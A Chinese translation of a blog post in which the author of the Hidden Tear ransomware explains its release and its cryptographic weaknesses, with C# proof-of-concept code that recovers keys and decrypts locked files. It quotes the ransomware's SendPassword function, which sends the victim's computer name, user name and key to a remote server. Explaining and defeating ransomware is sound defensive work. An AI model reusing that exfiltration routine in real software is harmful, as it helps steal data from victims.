大家都知道,三个月前我 发布 了世界上 第一个开源 勒索软件Hidden Tear。但不幸的是,很多人在reddit和github上批评我。所以,现在我想解释一下发布这款开源勒索软件背后的想法。
动机
当我研究勒索软件时,我看到的是很多漂亮的框图,以及试图解释其工作原理的汇编代码。可能对于那些熟悉汇编语言的人来说,阅读分析这些代码并不那么棘手;然而对于大多数人来说并非这样,尤其是对于新手来说。此外,网上并没有任何合适的勒索软件样本的源代码。 所以,我第一个动机就是为新手提供一份源代码,这些新人包括试图理解整个过程的学生。我的第二个动机是为脚本小子构建一个蜜罐。
开源勒索软件作为一个脚本小子陷阱
大多数人指责我为脚本小子提供了一件攻击武器。
但我知道,脚本小子们已经在深度网中拥有了他们的勒索软件兵工厂。Tox服务可能会被关闭,但仍然有很多提供勒索软件服务的网站。我已经调查了这些勒索软件服务,它们没有任何严重的漏洞,正如其他设计良好的勒索软件一样。
但是有一个问题,那就是用户必须为服务提供者提供他们收益的20%。所以,当时我的想法是“如果他们有一个免费的源代码来使用,那么他们还会使用勒索软件服务吗?我认为不会。”
于是,我决定写一个含有巨大安全漏洞的代码,这样如果有人受到它的影响,那么我就能够扭转破坏了。此外,网络上有一些人这样认为:
Hidden Tear中的主要安全漏洞
对于有经验的人来说,他们一眼就能看出这些漏洞。但是我并不是故意这样的,现在我可以解释一下这一点。
随机算法的种子
最重要的安全漏洞存在于创建随机加密密钥的过程中。我使用了.Net中的 Random类 来产生随机字符串。Random类使用了 Environment.TickCount (得到系统启动以来经过的毫秒数)作为种子,它仅仅能够减弱表面的暴力攻击,除此之外它很容易预测得到。
攻击向量的重用
在加密过程中,算法对于每个文件都使用相同的攻击向量(IV)。
静态盐(Static Salt)
它使用静态盐进行加密。
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
发送密钥
密钥是通过一个未加密的GET请求发送到服务器的。
//Sends created password target location public void SendPassword(string password){ string info = computerName + "-" + userName + " " + password; var fullUrl = targetURL + info; var conent = new System.Net.WebClient().DownloadString(fullUrl); }
如果当时网络正在监听,那么通过检查日志可以很容易地找到密钥。
Linux勒索软件事件
你听说Linux勒索软件因为相同的漏洞而被Bitdefender逮到吗?reddit用户观察到,Linux勒索软件视乎是受到Hidden Tear的激励。
好吧,我不得不承认当时我是期待更多的,当时只有一个人使用了我的代码并使其破产,但至少我们摆脱了一场大规模的攻击。
破解Hidden Tear的加密
我们所需要做的就是找到这个种子,这一点我们可以利用 File.GetLastWriteTime 方法一个加密文件的时间戳中得到。然后我们可以把它转换成Environment.TickCount得到精确的整数值。
但是有一个问题,即文件上一次写入的时间戳和密钥产生的开始时间之间有一个小的时间差,这个时间差在0-50毫秒之间,不过我们能够很容易地解决它。
这是我通过获取种子来预测密钥的第一个PoC。需要注意的是,“Ft*mo?S20ewcxZw”字符串是由Hidden Tear和bank.txt文件加密产生的。
static void Main(string[] args) { string path = @"C:/Users/utku/Desktop/test/bank.txt.locked"; var timestamp = File.GetLastWriteTime(path) - DateTime.Now.AddMilliseconds(-Environment.TickCount); int ms = (int)timestamp.TotalMilliseconds; int count = 0; string password = ""; int diff = 0; while (password != "Ft*mo?S20ewcxZw"){ password = CreatePassword(15, ms - diff); Console.WriteLine("Trying: " + password + " " + "Count: " + count); count++; diff++; } Console.WriteLine("Found: " + password + " " + count); Console.ReadLine(); } public static string CreatePassword(int length,int seed) { const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"; StringBuilder res = new StringBuilder(); Random rnd = new Random(seed); while (0 < length--) { res.Append(valid[rnd.Next(valid.Length)]); } return res.ToString(); }
得到的结果如下:
时间差几乎是32毫秒。
接下来让我们进入到一个真实的场景。为了解密一个加密了的文件,我们需要至少一个明文版本的加密文件。假设我们有一个名为bank.txt的文件,在该文件中存在着明文的“Yet another important file”字符串。然后,我用Hidden Tear对其进行了加密。
我们需要利用预测的密钥来解密它,然后检查解密之后的内容。如果结果与我们已知的明文相同,那么说明我们得到了正确的密钥。否则,我们就继续尝试。下面是PoC的源代码:
static void Main(string[] args) { string path = @"C:/Users/utku/Desktop/test/bank.txt.locked"; string data = "Yet another important file"; string draftdata = " "; var timestamp = File.GetLastWriteTime(path) - DateTime.Now.AddMilliseconds(-Environment.TickCount); int ms = (int)timestamp.TotalMilliseconds; int count = 0; string password = ""; int diff = 0; while (data != draftdata) { password = CreatePassword(15, ms - diff); Console.WriteLine("Trying: " + password + " " + "Count: " + count); byte[] bytesToBeDecrypted = File.ReadAllBytes(path); byte[] passwordBytes = Encoding.UTF8.GetBytes(password); passwordBytes = SHA256.Create().ComputeHash(passwordBytes); byte[] bytesDecrypted = AES_Decrypt(bytesToBeDecrypted, passwordBytes); draftdata = System.Text.Encoding.UTF8.GetString(bytesDecrypted); diff++; } Console.WriteLine("Found: " + password + " " + count); Console.ReadLine(); }
你可以从 Hidden Tear解密器 中得到所需要的功能。
结论
我知道这不是一个成功的蜜罐项目,但是我很高兴能够减少Linux勒索软件所带来的危害。此外,如果新手能从中学到一些,我也会非常高兴。
*原文链接: utkusen ,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)